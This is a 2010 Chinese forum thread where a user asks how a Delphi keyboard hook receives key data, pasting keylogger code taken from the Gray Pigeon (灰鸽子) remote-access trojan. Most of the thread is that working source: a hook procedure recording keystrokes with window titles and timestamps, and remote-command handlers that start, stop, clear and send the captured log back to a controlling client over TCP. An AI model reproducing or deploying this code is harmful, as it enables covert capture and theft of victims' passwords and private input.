首页
社区
课程
招聘
[旧帖] delphi的键盘记录代码,有个地方求助下!!! 0.00雪花
发表于: 2010-11-16 18:11 4012

[旧帖] delphi的键盘记录代码,有个地方求助下!!! 0.00雪花

2010-11-16 18:11
4012
pEvt := Pointer(DWord(lParam));这句是什么意思,获得键盘的值吗??如果是这样的,那么这个回调函数是怎么得到的这个值??setwindowshook传递的???是不是我理解错了,求人指点下!!我想知道,键盘的值是怎么获得的???

在灰鸽子1.2源程序分离出来的如下常用的:
const
WH_KEYBOARD_LL = 13; // 钩子种类,低级键盘敲击消息 ,
LLKHF_ALTDOWN = $20; // 用户按下 Esc 键,虚拟值,

以下看灰鸽子1.2源程序分离出来的记录键盘源码:
const
KeyMask = $80000000;
var
LogHook: HHook = 0;    //Hook
HookList: TStringList;//保存数据
LastFocusWnd: HWnd = 0;
PrvChar: Char;
HookList: TStringList;
hookkey:String;

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
  Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
  exit;
end;
if (iCode = HC_ACTION) then
begin
  pEvt := Pointer(DWord(lParam));
  FocusWnd := GetActiveWindow;
  if LastFocusWnd <> FocusWnd then
  begin
   if hookkey<>'' then
    begin
     HookList.Add(hookkey);
     hookkey :='';
    end;
   HookList.Add('======End=====');
   HookList.Add('=====begin====');
   GetWindowText(FocusWnd, Title, 256);
   LastFocusWnd := FocusWnd;
   Time := DateTimeToStr(Now);
   HookList.Add(Time + Format('Title:%s', [Title]));
  end;
  if pEvt.message = WM_KEYDOWN then
  begin
   vKey := LOBYTE(pEvt.paramL);
   iShift := GetKeyState($10);
   iCapital := GetKeyState($14);
   iNumLock := GetKeyState($90);
   bShift := ((iShift and KeyMask) = KeyMask);
   bCapital := ((iCapital and 1) = 1);
   bNumLock := ((iNumLock and 1) = 1);
   //HookList.Add('这是vKey:'+inttostr(vKey));
   if ((vKey >= 48) and (vKey <= 57)) then
    begin
     if not bShift then
      begin
       ch := Char(vKey);
      end else begin
       case vKey of
        48: ch := ')';
        49: ch := '!';
        50: ch := '@';
        51: ch := '#';
        52: ch := '$';
        53: ch := '%';
        54: ch := '^';
        55: ch := '&';
        56: ch := '*';
        57: ch := '(';
       end;
      end;
     hookkey:=hookkey+ch;
    end;
   if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
   begin
    if not bCapital then
    begin
     if bShift then
      ch := Char(vKey)
     else
      ch := Char(vKey + 32);
    end
    else begin
     if bShift then
      ch := Char(vKey + 32)
     else
      ch := Char(vKey);
    end;
    hookkey:=hookkey+ch;
   end;
   if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
    if bNumLock then
    hookkey:=hookkey+Char(vKey - 96 + 48);
   ch:='n';
   if (VKey > 105) and (VKey <= 111) then
   begin
    case vKey of
     106: ch := '*';
     107: ch := '+';
     109: ch := '-';
     111: ch := '/';
    else
     ch := 'n';
    end;
   end;
   if (vKey >= 186) and (vKey <= 222) then // 其他键
   begin
    case vKey of
     186: if not bShift then ch := ';' else ch := ':';
     187: if not bShift then ch := '=' else ch := '+';
     188: if not bShift then ch := ',' else ch := '<';
     189: if not bShift then ch := '-' else ch := '_';
     190: if not bShift then ch := '.' else ch := '>';
     191: if not bShift then ch := '/' else ch := '?';
     192: if not bShift then ch := '`' else ch := '~';
     219: if not bShift then ch := '[' else ch := '{';
     220: if not bShift then ch := '\' else ch := '|';
     221: if not bShift then ch := ']' else ch := '}';
     222: if not bShift then ch := Char(27) else ch := '"';
    else
     ch := 'n';
    end;
   end;
   if ch <> 'n' then
   hookkey:=hookkey+ ch;
   // if (wParam >=112 && wParam<=123) // 功能键  [F1]-[F12]
   if (vKey >= 8) and (vKey <= 46) then //方向键
   begin
    ch := ' ';
    case vKey of
     8: str := '[退格]';
     9: str := '[TAB]';
     13: str := '[Enter]';
     32: str := '[空格]';
     33: str := '[PageUp]';
     34: str := '[PageDown]';
     35: str := '[End]';
     36: str := '[Home]';
     37: str := '[LF]';
     38: str := '[UF]';
     39: str := '[RF]';
     40: str := '[DF]';
     45: str := '[Insert]';
     46: str := '[Delete]';
    else
     ch := 'n';
    end;
    if ch <> 'n' then
    begin
     //if PrvChar<>Char(vKey) then
     //begin
      hookkey :=hookkey+str;
     // PrvChar := Char(vKey);
     //end;
    end;
   end;
  end ;
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;

if StrTmpList[1]='039' then
  begin  {启动键盘记录}
   if LogHook = 0 then
    begin
     Request:='Cmd009';      //启动键盘记录成功!查看记录前请先终止键盘记录!
     LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
    end else begin
     Request:='Cmd010';    //键盘记录已经启动过了!
    end;
   if Request='' then Request:='Cmd011';   //启动键盘记录成功!查看记录前请先终止键盘记录!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='040' then
  begin  {终止键盘记录}
   try
    if LogHook <> 0 then
     begin
      UnhookWindowsHookEx(LogHook);
      LogHook := 0;
      HookList.Add(Hookkey);
      HookList.Add('*********End**********');
      Hookkey:='';
     end;
   except
   end;
   Request:='Cmd012';   //终止键盘记录成功!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='041' then
  begin  {查看键盘记录}
   Request:=HookList.Text;
   if Request='' then
   begin
    Request:='NULL'; //键盘记录为空.
   end;
   SendStreamToClient(IdTCPClient1,'018',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='042' then
  begin  {清空键盘记录}
   try
    HookList.Clear;
   except
   end;
   Request:='Cmd014';   //清空键盘记录完成!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
Form1.Memo1.Lines
单独使用不用这复杂了,这样:
LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0); //启动
UnhookWindowsHookEx(LogHook);//终止
Request:=HookList.Text; //查看
HookList.Clear;//清空

[课程]Linux pwn 探索篇!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 166
活跃值: (232)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
自己搞定了!!!
2010-11-27 18:59
0
游客
登录 | 注册 方可回帖
返回
//